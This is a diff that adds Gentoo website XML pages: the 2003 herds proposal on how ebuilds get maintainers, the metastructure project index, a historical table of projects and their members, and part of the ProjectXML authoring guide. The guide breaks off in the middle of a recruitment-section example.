+<pkgmetadata pkgname="xfce-extra/xfce4-toys">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-extra/xfce4-trigger-launcher">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-extra/xfce4-xmms">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-extra/xffm-icons">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-extra/xfwm4-themes">
+<herd>xfce</herd>
+</pkgmetadata>
+</packages>
diff --git a/xml/htdocs/proj/en/metastructure/herds/proposal.xml b/xml/htdocs/proj/en/metastructure/herds/proposal.xml
new file mode 100644
index 00000000..02e4e59f
--- /dev/null
+++ b/xml/htdocs/proj/en/metastructure/herds/proposal.xml
@@ -0,0 +1,162 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="index.xml" type="project">
+<title>Gentoo herds project</title>
+<subtitle>The original proposal</subtitle>
+<author title="Author"><mail link="pauldv@gentoo.org">
+	Paul de Vrieze</mail>
+</author>
+<abstract>The herds project aims to ensure that ebuilds are organised in groups
+which have maintainers, and that some ebuilds get maintainers assigned</abstract>
+<version>1.0</version>
+<date>2 Jul 2003</date>
+<chapter>
+<title>Herds proposal</title>
+<section>
+<body>
+<ol>
+<li><p>An ebuild should have a maintainer assigned to it.</p>
+
+<p>If there is more than one, they can divide the work between them however they
+see fit (fex. active developer + inactive backup, rotating roles, or stable
+maintainer + ~arch innovator). Maintainers should ideally keep track of changes
+to an ebuild even if they're not working on it actively at the moment, in order
+to be able to step in if their help is required.
+</p>
+<p>I suggest 2 maintainers for major ebuilds, 3 for the few ebuilds that are very 
+important or very complex. The great majority of ebuilds will still have =1 
+maintainer or be placed in herds - at least in first.</p>
+</li><li>
+<p>We cannot provide direct maintainers for every ebuild. At least not at 
+first. So 'minor' (maintainer-less) ebuilds will be grouped in 'herds'. Herds 
+are mostly thematic, like portage categories: sound, video, network etc. Every 
+herd will have maintainer(s) assigned that will take care of its ebuilds. 
+Some can specialize in 'watching' (looking for upstream updates and bumping 
+ebuilds in ~).</p>
+
+<p>Herds also function as a safety net, to catch ebuilds going unmaintained and 
+keep them on lower-levl service until they can find a new direct maintainer.</p>
+
+<p>Since we probably want to continue working in 'workgroups' like the current 
+kde@g.o, we extend herds to classify all ebuilds. Maintainers responsible for 
+the herd will still work mostly on its minor ebuilds (ie those without a 
+direct maintainer), but they and the direct maintainers of the other ebuilds 
+in the herd will work together to some extent. (Except for core ebuilds, 
+which only direct maintainers should touch normally.)</p>
+
+<p>If an ebuild is well satisfied with the comparatively little attention it gets 
+in the herd, there's no good reason for it to ever get a direct maintainer; we 
+don't want to 'dilute' their resources. If anything, we might ask for another 
+maintainer for a growing herd of such ebuilds. If someone asks to maintain 
+such an ebuild directly, the reason behind it ought to be that he'll be doing 
+rather more with it than the herd maintainers have been doing so far. Some 
+innovative development instead of mere maintenance.</p>
+
+<p>OTOH, if an ebuild is considerably 'heavier' than the average herd ebuild, it 
+would be a good thing for someone to maintain it directly. This is a question 
+of how much effort the herders need to spend on it when it is in their care.</p>
+</li><li>
+<p>Herds are just another word for teams or workgroups. Sometimes it makes 
+sense for two herds to include a set of minor ebuilds, and for the people of 
+those teams to help one another with the two aspects of those ebuilds. For 
+example, the kde team might help the audio team with a problem in a kde 
+jukebox app related not to sound, but to its kde-ish build system.</p>
+
+<p>Herds are not intended to replace portage categories; they have different 
+purposes. Categories are mostly for users (and developers in the role of 
+users), they make it easy to find an app or browse a list of alternative 
+apps. Herds are for assigning ebuild responsibility to devs; they aren't seen 
+by users unless they go looking or have QA issues.</p>
+</li><li>
+<p>Some ebuilds do not require a "full-time" maintainer; besides, we don't 
+have the manpower to provide direct maintainers for all ebuilds right now. So 
+we'll have e.g. someone (or two) who takes care of all the x11-themes 
+ebuilds, which require very little attention individually. This is similar to 
+the semiofficial structure we have in place now.</p>
+
+<p>If an ebuild receives more than a few trivial bugreports now and then, or has 
+complex internal code, it generally needs a direct maintainer.</p>
+
+<p>Direct maintainership gives more resources to the ebuild. The maintainer is 
+more "committed" to it. Therefore if someone wants to take an ebuild from a 
+herd under his wing, he's generally welcome to it.</p>
+
+<p>A move in the opposite direction OTOH, is a step towards the ebuild becoming 
+unmaintained. It can still have valid reasons - such as the maintainer having 
+little gentoo-time to spare and the ebuild requiring less attention than his 
+other ones. To safeguard important ebuilds against that they should have >1 
+direct maintainer.</p>
+
+<p>5. If a developer maintains too many ebuilds directly, his resources are 
+diluted and he cannot give enough to every ebuild. ("too many" is of course 
+different for different people.) The meaning of direct maintainership, as 
+distinct from maintaining a herd, would be lost. So if he has too many 
+ebuilds he should consider:</p>
+<ul>
+<li><p>Moving ebuilds that require little attention to herds. If an ebuild never 
+gets bugreports but requires version bumps every week or two, it should be 
+low priority from a maintainership POV.
+In other words, as developers we might want all our ebuilds to be more like 
+that. But as maintainers we want to focus on fixing bugs.</p></li>
+
+<li><p>Asking people to take over maintaining ebuilds.</p></li>
+<li><p>Asking people to co-maintain ebuilds with him.</p></li>
+</ul>
+<p>Both of the above come in two shapes - redistributing workload among 
+developers, and bringing new people onto the Gentoo team.</p>
+
+</li><li>
+<p>An ebuild that does not have a direct maintainer, and whose herd's 
+maintainers declare it too important/complicated to be maintained as part of 
+a herd (basically anything that gets more than a very few bugreports), is 
+declared unmaintained and advertised on a list of such ebuilds. If it is not 
+picked up within a deadline (either by a Gentoo dev or by a user who in this 
+way will become one), it is hard-masked and later dropped from portage.</p>
+
+<p>After moving to this scheme, we should set such a deadline (sufficiently 
+remote) for all ebuilds that haven't yet got a maintainer under the new 
+scheme.</p>
+</li><li>
+<p>Steps to implement (the lower-level how's I leave to our infrastructure 
+people):</p>
+
+<p>Maintainership info for a package should be placed in e.g. a 'Maintainers' 
+file in its dir. Info about developers maintaining a herd can be placed in 
+e.g. $PORTDIR/Maintainers. This is just a suggestion and some people don't 
+seem to like it, so feel free to propose any alternative way of managing that 
+info (but until udder is mature enough, please keep this discussion centered 
+on what we can do right now).</p>
+
+<p>Every package will automatically become a &lt;package&gt;@gentoo.org alias
+for mail and bugzilla. Bugs on bugzilla will be assigned to that mailing
+address; the maintainer(s) of that package will take care of them. It will also
+recieve notifications of cvs changes to that package (like bits of gentoo-cvs
+m/l) and anything else people want to send there (discussions/announcements
+about the package). Every herd will also become a &lt;herd&gt;@gentoo.org, like
+the current kde@gentoo.org, for discussions and bugs not specific to a
+package.</p>
+
+<p>The bug wranglers won't be needed as much anymore because a user can easily 
+assign his bug according to the malfunctioning ebuild. They are still needed 
+to direct bugreports on things other than ebuilds (docs, livecd, website...). 
+This also means we'll (finally!) be managing bugreports by package, not by 
+developer. It solves issues like going through the buglists of the 4 
+developers who are related to an ebuild, or running a bugzilla-wide search 
+for the name of a package in a bugreport's subject.</p>
+
+<p>Maintainers can have their bugzilla accounts 'watch' those of the packages 
+they maintain, or use the scheme outlined below.</p>
+
+<p>People can set their interest in a package. At first only developers can set 
+their interest (maintainer, or just watcher in the meaning of generally 
+interested). The specification for maintainers is autogenerated from whatever 
+way we use to specify maintainers centrally. As the udder infrastructure for 
+users is put into place, they will be able to express interest too. Their 
+subscriptions to the package m/ls may or may not be readonly.</p>
+</li></ol>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/metastructure/index.xml b/xml/htdocs/proj/en/metastructure/index.xml
new file mode 100644
index 00000000..28fed43f
--- /dev/null
+++ b/xml/htdocs/proj/en/metastructure/index.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+	<name>metastructure</name>
+	<longname>Gentoo Metastructure Project</longname>
+	<date>7 Oct 2003</date>
+	<author title="Author">Paul de Vrieze</author>
+	<description>The metastructure toplevel project is concerned with the
+management structure of gentoo</description>
+
+	<longdescription>
+		<p>The metastructure project is concerned with the
+		management structure of the gentoo project. It's current
+		goal is to make sure all proposals to that extend are
+		remembered.</p>
+
+		<p>Currently the procedure for making sure that a
+		proposal gets noticed is just mail it to <mail
+		link="pauldv@gentoo.org">me</mail>.</p>
+	</longdescription>
+	<dev role="lead" description="Manager of the project">pauldv</dev>
+	<resource link="projects.xml">Project listing</resource>
+	<resource link="projectxml.xml">ProjectXML description (documentation on writing project pages)</resource>
+	<extraproject name="project listing" lead="pauldv">
+		This project aims to give an extensive and uptodate
+		overview of all projects and their developers
+	</extraproject>
+	<subproject ref="/proj/en/glep/index.xml"/>
+	<subproject ref="/proj/en/metastructure/herds/index.xml"/>
+</project>
diff --git a/xml/htdocs/proj/en/metastructure/oldprojects.xml b/xml/htdocs/proj/en/metastructure/oldprojects.xml
new file mode 100644
index 00000000..6df5ae38
--- /dev/null
+++ b/xml/htdocs/proj/en/metastructure/oldprojects.xml
@@ -0,0 +1,134 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="index.xml" type="project">
+<title>Gentoo metastructure project</title>
+<author title="Author"><mail link="pauldv@gentoo.org">
+	Paul de Vrieze</mail>
+</author>
+<abstract>This is an overview of all current gentoo projects</abstract>
+<version>1.0</version>
+<date>19 Jul 2003</date>
+<chapter>
+<title>Gentoo projects</title>
+<section>
+<body>
+<p>This page is meant to give an overview of all gentoo projects</p>
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Project listing</title>
+<section>
+<body>
+<table><tr><th>toplevel</th><th>project</th><th>subproject</th><th>members</th><th>description</th></tr>
+<tr><ti><uri link="/proj/en/metastructure">metastructure</uri></ti><ti></ti><ti></ti><ti>pauldv</ti><ti>The metastructure toplevel project is concerned with the management structure of gentoo.</ti></tr>
+<tr><ti></ti><ti><uri link="/proj/en/metastructure/herds/">herds</uri></ti><ti></ti><ti>pauldv, klieber, zhen, coredumb, absinthe, avenj, g2boojum, rac, mksoft</ti><ti>The herds project aims to ensure that ebuilds are organised in groups which have maintainers, and that some ebuilds get maintainers assigned.</ti></tr>
+<tr><ti></ti><ti><uri link="/proj/en/metastructure/projects.xml">project listing</uri></ti><ti></ti><ti>pauldv</ti><ti>This project aims to give an extensive and uptodate overview of all projects and their developers.</ti></tr>
+<tr><ti></ti><ti><uri link="/proj/en/glep/">glep</uri></ti><ti></ti><ti>g2boojum, liquidx</ti><ti>The glep project aims to provide a unified procedure for proposing enhancements to gentoo</ti></tr>
+
+<tr><th>toplevel</th><th>project</th><th>subproject</th><th>members</th><th>description</th></tr>
+<tr><ti><uri link="/proj/en/kernel/">kernel</uri></ti><ti></ti><ti></ti><ti>pfeifer, joker, livewire, kumba, gmsoft, kain, wwoods, SwifT</ti><ti>The gentoo kernels</ti></tr>
+<tr><ti></ti><ti>alpha-sources</ti><ti></ti><ti>wwoods</ti><ti>Gentoo Kernel supporting alpha processors</ti></tr>
+<tr><ti></ti><ti>arm-sources</ti><ti></ti><ti></ti><ti>Gentoo Kernel supporting arm processors</ti></tr>
+<tr><ti></ti><ti>gentoo-sources</ti><ti></ti><ti>pfeifer</ti><ti>Feature-rich, high-performance Gentoo Kernel for x86 processors</ti></tr>
+<tr><ti></ti><ti>gs-sources</ti><ti></ti><ti>livewire</ti><ti>Gentoo Kernel created for stability, supporting x86 processors</ti></tr>
+<tr><ti></ti><ti>mips-sources</ti><ti></ti><ti>kumba</ti><ti>Gentoo Kernel supporting MIPS processors</ti></tr>
+<tr><ti></ti><ti>pfeifer-sources</ti><ti></ti><ti>pfeifer</ti><ti>Developmental Gentoo Kernel which moves it's code base into gentoo-sources</ti></tr>
+<tr><ti></ti><ti>ppc-sources</ti><ti></ti><ti>kain</ti><ti>Gentoo Kernel supporting PPC processors, including ppc-sources-benh, ppc-sources-crypto, ppc-sources-dev</ti></tr>
+<tr><ti></ti><ti>sparc-sources</ti><ti></ti><ti>joker</ti><ti>Gentoo Kernel supporting SPARC processors</ti></tr>
+<tr><ti></ti><ti>xfs-sources</ti><ti></ti><ti>livewire</ti><ti>Gentoo Kernel supporting x86 processors and XFS filesystem. Used by the Gentoo LiveCD</ti></tr>
+
+<tr><th>toplevel</th><th>project</th><th>subproject</th><th>members</th><th>description</th></tr>
+<tr><ti>gentoo-base</ti><ti></ti><ti></ti><ti>toplevel management</ti><ti>operating system platforms and special-purpose projects</ti></tr>
+<tr><ti></ti><ti>gentoo-linux</ti><ti></ti><ti></ti><ti></ti></tr>
+<tr><ti></ti><ti>gentoo-bsd</ti><ti></ti><ti></ti><ti></ti></tr>
+<tr><ti></ti><ti>gentoo-macos</ti><ti></ti><ti></ti><ti></ti></tr>
+<tr><ti></ti><ti>livecd</ti><ti></ti><ti></ti><ti>Gentoo Linux LiveCD technology efforts</ti></tr>
+
+<tr><th>toplevel</th><th>project</th><th>subproject</th><th>members</th><th>description</th></tr>
+<tr><ti><uri link="/proj/en/hardened/">hardened</uri></ti><ti></ti><ti></ti><ti>method, pebenito, frogger, solar, pappy, mboman, sindian, zhen</ti><ti>Efforts related to integrated security</ti></tr>
+<tr><ti></ti><ti>selinux</ti><ti></ti><ti></ti><ti>Adding SELinux support to Gentoo and Portage</ti></tr>
+<tr><ti></ti><ti>propolice</ti><ti></ti><ti></ti><ti>Propolice is GCC stack smashing protection written by IBM</ti></tr>
+<tr><ti></ti><ti>systrace</ti><ti></ti><ti></ti><ti>Systrace is a lightweight ACL system with an easy to use policy editor and a gui for on-the-fly policy management</ti></tr>
+<tr><ti></ti><ti>hardened-sources</ti><ti></ti><ti></ti><ti>A kernel which provides patches for hardened subprojects, and stability/security oriented patches</ti></tr>
+<tr><ti></ti><ti>grsecurity</ti><ti></ti><ti></ti><ti>Grsecurity ACL policies, documentation outlining effective use of Grsecurity</ti></tr>
+<tr><ti></ti><ti>prelude</ti><ti></ti><ti></ti><ti>inclusion of prelude, a hybrid intrustion dection system</ti></tr>
+
+<tr><th>toplevel</th><th>project</th><th>subproject</th><th>members</th><th>description</th></tr>
+<tr><ti>tools</ti><ti></ti><ti></ti><ti>pvdabeel</ti><ti>Auxiliary tools useful for gentoo development</ti></tr>
+<tr><ti></ti><ti><uri link="/proj/en/keychain.xml">keychain</uri></ti><ti></ti><ti></ti><ti>Tool increasing the ease of use of ssh key passwords</ti></tr>
+<tr><ti></ti><ti><uri link="/proj/en/dynfw.xml">dynfw</uri></ti><ti></ti><ti></ti><ti>Tool for making it easy to maintain a dynamic firewall</ti></tr>
+<tr><ti></ti><ti>eperl</ti><ti></ti><ti></ti><ti></ti></tr>
+
+<tr><th>toplevel</th><th>project</th><th>subproject</th><th>members</th><th>description</th></tr>
+<tr><ti><uri link="/proj/en/devrel/">devrel</uri></ti><ti></ti><ti></ti><ti>seemant, avenj, cybersystem, brandy, klieber, g2boojum, coredumb</ti><ti>General development management, developer relations</ti></tr>
+<tr><ti></ti><ti>intra-dev relations</ti><ti></ti><ti></ti><ti>Here, we maintain a constantly updated roster of developers, and their areas of development. This will be not only the devlist, but also the herds document, which will list the various herd projects in the portage tree, along with the herd manager (point of contact). Additionally, we maintain a record of developers' GPG public keys to provide a single area for developer lookup</ti></tr>
+<tr><ti></ti><ti>recruitment and training</ti><ti></ti><ti></ti><ti>Currently, we have a process on the  Gentoo bug tracker which tracks a new developer's progress from initial contact through training and final sign up. As part of a new developer's training, they must fulfill several requirements, culminating in a quiz/questionnaire. Every new developer is assigned to a mentor on the Gentoo development team</ti></tr>
+
+<tr><th>toplevel</th><th>project</th><th>subproject</th><th>members</th><th>description</th></tr>
+<tr><ti><uri link="/proj/en/releng/">releng</uri></ti><ti></ti><ti></ti><ti>avenj</ti><ti>Management of the release process</ti></tr>
+<tr><ti></ti><ti>build</ti><ti></ti><ti></ti><ti>Management of stage/package building efforts on all architectures</ti></tr>
+<tr><ti></ti><ti>install-doc</ti><ti></ti><ti></ti><ti>install documentation</ti></tr>
+
+<tr><th>toplevel</th><th>project</th><th>subproject</th><th>members</th><th>description</th></tr>
+<tr><ti>qa</ti><ti></ti><ti></ti><ti>seemant</ti><ti>Explicit, proactive quality control efforts</ti></tr>
+<tr><ti></ti><ti>bugs</ti><ti></ti><ti></ti><ti>Overseeing bug distribution/assignment/completion and responsiveness</ti></tr>
+<tr><ti></ti><ti>security</ti><ti></ti><ti></ti><ti>Manage tracking and application of security fixes to packages</ti></tr>
+<tr><ti></ti><ti>policy-doc</ti><ti></ti><ti></ti><ti>Policy documentation</ti></tr>
+
+<tr><th>toplevel</th><th>project</th><th>subproject</th><th>members</th><th>description</th></tr>
+<tr><ti>pr</ti><ti></ti><ti></ti><ti>klieber, seemant</ti><ti>Public relations</ti></tr>
+<tr><ti></ti><ti>partners</ti><ti></ti><ti></ti><ti>Gentoo partnerships, liaisons to metapkg, Gentoo Games, etc.</ti></tr>
+<tr><ti></ti><ti>shows</ti><ti></ti><ti></ti><ti>Planning and organization for trade shows</ti></tr>
+<tr><ti></ti><ti>gwn</ti><ti></ti><ti></ti><ti>Gentoo weekly news</ti></tr>
+
+<tr><th>toplevel</th><th>project</th><th>subproject</th><th>members</th><th>description</th></tr>
+<tr><ti>portage</ti><ti></ti><ti></ti><ti>klieber, carpaski, drobbins, pvdabeel</ti><ti></ti></tr>
+<tr><ti></ti><ti>package-research</ti><ti></ti><ti></ti><ti>Research into new packaging technologies and capabilities</ti></tr>
+<tr><ti></ti><ti>managers</ti><ti></ti><ti></ti><ti>carpaski, drobbins, pvdabeel</ti></tr>
+
+<tr><th>toplevel</th><th>project</th><th>subproject</th><th>members</th><th>description</th></tr>
+<tr><ti><uri link="/proj/en/infrastructure/">infrastructure</uri></ti><ti></ti><ti></ti><ti>klieber, rc, robh, robbat2, peitolm, avenj, cybersystem, pylon</ti><ti>gentoo.org Mirrors, servers, email, hosting, server security</ti></tr>
+<tr><ti></ti><ti>mirrors</ti><ti></ti><ti>avenj</ti><ti>Charged with ensuring the stability and availability of our mirroring system, including Portage and Source mirrors</ti></tr>
+<tr><ti></ti><ti>web</ti><ti></ti><ti></ti><ti>Responsible for updating and maintaining the web site</ti></tr>
+<tr><ti></ti><ti>mail</ti><ti></ti><ti>cybersystem, peitolm</ti><ti>In charge of mail-related issues, including mailing lists</ti></tr>
+<tr><ti></ti><ti>CVS</ti><ti></ti><ti>robbat2, pylon</ti><ti>In charge of cvs-related issues</ti></tr>
+<tr><ti></ti><ti>security</ti><ti></ti><ti></ti><ti>This group spans all other groups and is responsible for ensuring the overall security of all servers and other devices used by the Gentoo Linux project</ti></tr>
+<tr><ti></ti><ti>sysadmins</ti><ti></ti><ti>robh</ti><ti>Another project that spans all other groups, this team ensures all servers are properly maintained</ti></tr>
+
+<tr><th>toplevel</th><th>project</th><th>subproject</th><th>members</th><th>description</th></tr>
+<tr><ti><uri link="/proj/en/gdp/">documentation</uri></ti><ti></ti><ti></ti><ti>method, swift</ti><ti>Gentoo documentation project</ti></tr>
+<tr><ti></ti><ti>core documentation</ti><ti></ti><ti></ti><ti>Core documentation, such as the arch specific installation guides, and the Desktop Guide, are maintained in this project</ti></tr>
+<tr><ti></ti><ti>application documentation</ti><ti></ti><ti></ti><ti>The core of the GDP team, most of the work in this subproject relates to the maintenance and incorportation of application centric documentation</ti></tr>
+<tr><ti></ti><ti>system documentation</ti><ti></ti><ti></ti><ti>The Portage documentation, rc-scripts guide, and other Gentoo specific documentation is covered under this subproject</ti></tr>
+<tr><ti></ti><ti>international documentation</ti><ti></ti><ti>sergey</ti><ti>As Gentoo continues to grow, international documentation will be key to communicating with our diverse user base. The translators will make sure that all Gentoo documentation is translated in a timely fashion</ti></tr>
+<tr><ti></ti><ti>gdp documentation</ti><ti></ti><ti></ti><ti>The goal of this subproject is to document everything concerning the GDP Project itself</ti></tr>
+
+<tr><th>toplevel</th><th>project</th><th>subproject</th><th>members</th><th>description</th></tr>
+<tr><ti><uri link="/proj/en/gentoo-alt/">gentoo-alt</uri></ti><ti></ti><ti></ti><ti>pvdabeel, method, livewire, ct, tester, seemant, drobbins, lu_zero, GMsoft</ti><ti> Gentoo-alt is a top-level project that manages efforts to support alternate Gentoo platforms and runtime environments</ti></tr>
+<tr><ti></ti><ti>gentoo/MacOs</ti><ti></ti><ti></ti><ti> An effort focused on providing a Gentoo sub-environment under Apple's MacOS X operating system</ti></tr>
+<tr><ti></ti><ti>gentoo/BSD</ti><ti></ti><ti></ti><ti>An effort to provide a fully-capable BSD operating system with Gentoo design sensibilities</ti></tr>
+<tr><ti></ti><ti>LiveCD</ti><ti></ti><ti></ti><ti>Our "live" (run direct from CD-hosted filesystem) bootable CD project</ti></tr>
+<tr><ti></ti><ti></ti><ti>Newbee livecd</ti><ti>Luke-JR</ti><ti>a Gentoo LiveCD which
+first-time computer users can use to install Linux by themselves</ti></tr>
+
+
+<tr><th>toplevel</th><th>project</th><th>subproject</th><th>members</th><th>description</th></tr>
+<tr><ti><e>Orphan</e></ti><ti></ti><ti></ti><ti></ti><ti>Projects currently without parent</ti></tr>
+<tr><ti></ti><ti>kde</ti><ti></ti><ti></ti><ti></ti></tr>
+<tr><ti></ti><ti>gnome</ti><ti></ti><ti></ti><ti></ti></tr>
+<tr><ti></ti><ti>alpha</ti><ti></ti><ti></ti><ti></ti></tr>
+<tr><ti></ti><ti>gentoo-cluster</ti><ti></ti><ti>spyderous, tantive, Adelie, iggy, george, lisa</ti><ti>The Gentoo Cluster Project aims to make Gentoo a desirable
+platform for high-performance and high-availability clustering. The
+project will develop documentation and support for designing and
+implementing clusters. This will increase Gentoo's visibility in
+enterprise-level computing</ti></tr>
+
+</table>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/metastructure/other.xml b/xml/htdocs/proj/en/metastructure/other.xml
new file mode 100644
index 00000000..b85cff43
--- /dev/null
+++ b/xml/htdocs/proj/en/metastructure/other.xml
@@ -0,0 +1,13 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+	<name>other</name>
+	<description>Projects without owner</description>
+
+	<longdescription>
+		<p>All projects that do not have a parent project</p>
+	</longdescription>
+	<subproject ref="/proj/en/eselect/index.xml" inheritmembers="no"/>
+</project>
diff --git a/xml/htdocs/proj/en/metastructure/projects.xml b/xml/htdocs/proj/en/metastructure/projects.xml
new file mode 100644
index 00000000..9ce59b43
--- /dev/null
+++ b/xml/htdocs/proj/en/metastructure/projects.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?> 	 
+<?xml-stylesheet href="/xsl/projects.xsl" type="text/xsl"?> 	 
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?> 	 
+<!DOCTYPE projects [ 	 
+<!ELEMENT projects (#PCDATA)> 	 
+]> 	 
+<projects>/proj/en/metastructure/gentoo.xml</projects>
diff --git a/xml/htdocs/proj/en/metastructure/projectxml.xml b/xml/htdocs/proj/en/metastructure/projectxml.xml
new file mode 100644
index 00000000..8cc69153
--- /dev/null
+++ b/xml/htdocs/proj/en/metastructure/projectxml.xml
@@ -0,0 +1,509 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/metastructure/projectxml.xml,v 1.14 2008/04/02 19:53:27 neysx Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide>
+<title>Gentoo ProjectXML Guide</title>
+
+<author title="Author">
+  <mail>yoswink</mail>
+</author>
+
+<abstract>
+This guide shows you how to create an official GuideXML page for a Gentoo Linux
+Project. The guide assumes a basic knowledge of the GuideXML format.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.2</version>
+<date>2008-03-27</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>What is ProjectXML?</title>
+<body>
+
+<p>
+ProjectXML is designed to be an easy way to create project pages which
+follow the Gentoo web style. It uses the same XML style as
+<uri link="/doc/en/xml-guide.xml">GuideXML doc</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Recommended knowledge</title>
+<body>
+
+<p>
+ProjectXML is designed to be very easy to use so you don't need a special
+knowledge. The only recommended read before touching a project page is the
+official <uri link="/doc/en/xml-guide.xml">GuideXML doc</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Creating a project page</title>
+<section>
+<title>General Data</title>
+<body>
+
+<p>
+To start writing our project page, first of all, we should define the proper
+doc headers. Just copy and paste the following lines:
+</p>
+
+<pre caption="ProjectXML doc headers">
+&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?&gt;
+&lt;?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?&gt;
+&lt;!DOCTYPE project SYSTEM "/dtd/project.dtd"&gt;
+</pre>
+
+<p>
+First part in our doc is the general data section which cover the basic
+information of the project. Also, in this section we'll find the only
+mandatory tags we need to set in order to create a valid page:
+<c>&lt;name&gt;</c>, <c>&lt;longname&gt;</c>, <c>&lt;description&gt;</c> and
+<c>&lt;longdescription&gt;</c>, although we recommend to use all them to give
+a complete view of the project.
+</p>
+
+<pre caption="Basic doc information example">
+&lt;project&gt;
+&lt;name&gt;ProjectXML&lt;/name&gt;
+&lt;longname&gt;A ProjectXML example page&lt;/longname&gt;
+&lt;date&gt;2007-04-15&lt;/date&gt;
+
+&lt;description&gt;
+A short project sentence describing the project.
+&lt;/description&gt;
+
+&lt;longdescription&gt;
+&lt;p&gt;
+A more elaborated description about the project (edited as GuideXML block).
+&lt;/p&gt;
+&lt;/longdescription&gt;
+&lt;/project&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>Defining project goals</title>
+<body>
+
+<p>
+In order to reflect the final objective of the project, ProjectXML use
+the tag goals to include a description about what's the purpose of
+your work. Just a single sentence could be enough.
+</p>
+
+<note>
+Like the <c>&lt;longdescription&gt;</c>, the <c>&lt;goals&gt;</c> tag
+<e>must</e> contain one or more paragraphs (<c>&lt;p&gt;</c>), tables, lists,
+code samples, admonitions (<c>&lt;note&gt;</c>
+/<c>&lt;warn&gt;</c>/<c>&lt;impo&gt;</c>). The simplest case is to use a
+single <c>&lt;p&gt;</c> element.
+</note>
+
+<pre caption="Goals section">
+&lt;goals&gt;
+&lt;p&gt;
+The intention of the project is to show you how can you build a basic
+project page easily using ProjectXML.
+&lt;/p&gt;
+&lt;/goals&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>List of project developers</title>
+<body>
+
+<p>
+ProjectXML allow you to include a list of Gentoo developers who are involved
+in the project. You only need to write the developer nickname inside the tag
+and it will automatically be completed with the full real name when the page is
+rendered.
+</p>
+
+<pre caption="Developers section">
+&lt;dev role="Strategic Manager" description="Policy and releng"&gt;Dev1&lt;/dev&gt;
+&lt;dev role="Operational Manager" description="Security"&gt;Dev2&lt;/dev&gt;
+&lt;dev role="member"&gt;Dev3&lt;/dev&gt;
+</pre>
+
+<p>
+As you can see in the example, the <c>dev</c> tag supports two optional
+attributes: <c>role</c> is used to name the position of the developer inside
+the team and <c>description</c>, which allow to set some details about
+the member.
+</p>
+
+</body>
+</section>
+<section>
+<title>Existing herds</title>
+<body>
+
+<p>
+Another interesting section to include in the project page is the list of
+Gentoo herds which belong to the project. The only data which should be filled
+is the <c>name</c> attribute.
+</p>
+
+<pre caption="Herd section">
+&lt;herd name="herd1" /&gt;
+&lt;herd name="herd2" /&gt;
+</pre>
+
+<p>
+ProjectXML will parse the <uri
+link="/en/metastructure/herds/herds.xml">herds</uri> file and in the final
+rendered you will see all the nicknames of the devs who belongs to the herd.
+</p>
+
+</body>
+</section>
+<section>
+<title>Project resources</title>
+<body>
+
+<p>
+It's also possible to include some resources links inside the project doc
+page. This links usually point to Gentoo documentation, external docs or
+useful Internet sites.
+</p>
+
+<pre caption="Resource links">
+&lt;resource link="/gentoo/link.xml"&gt; (omitting http://www.gentoo.org)
+&lt;resource link="http://www.useful.internet.site/"&gt;
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Tweaking the project page</title>
+<section>
+<title>Completing the general information</title>
+<body>
+
+<p>
+Although the previous sections cover the basic information to create a
+project, there are other chapters which could be quite useful to use in
+some cases.
+</p>
+
+<p>
+The information below, will show you how you can add extra information
+to the chapters saw in the previous section, how to create subprojects
+inside your project page or how to reflect tasks and its status.
+</p>
+
+</body>
+</section>
+<section>
+<title>Including a recruitment section</title>
+<body>
+
+<p>
+ProjectXML allows to include a section which shows the open project jobs or
+opportunities to collaborate. All you have to do is to include the
+<c>&lt;recruitment&gt;</c> tag <b>just after</b> the <c>&lt;/goals&gt;</c>. For
+every position you should include a <c>&lt;job&gt;</c> tag. Inside, we find
+<c>&lt;summary&gt;</c>, <c>&lt;details&gt;</c>, <c>&lt;requirements&gt;</c> and
+one or more <c>&lt;contact&gt;</c> tags. Let's see an example of using this:
+</p>
+
+<pre caption="Including a recruitment section">
+&lt;recruitment&gt;
+  &lt;job&gt;
+    &lt;summary&gt;First Open Position&lt;/summary&gt;
+    &lt;details&gt;
+      Just an &lt;e&gt;example&lt;/e&gt;> of how to write details about this
+      first open position
+    &lt;/details&gt;
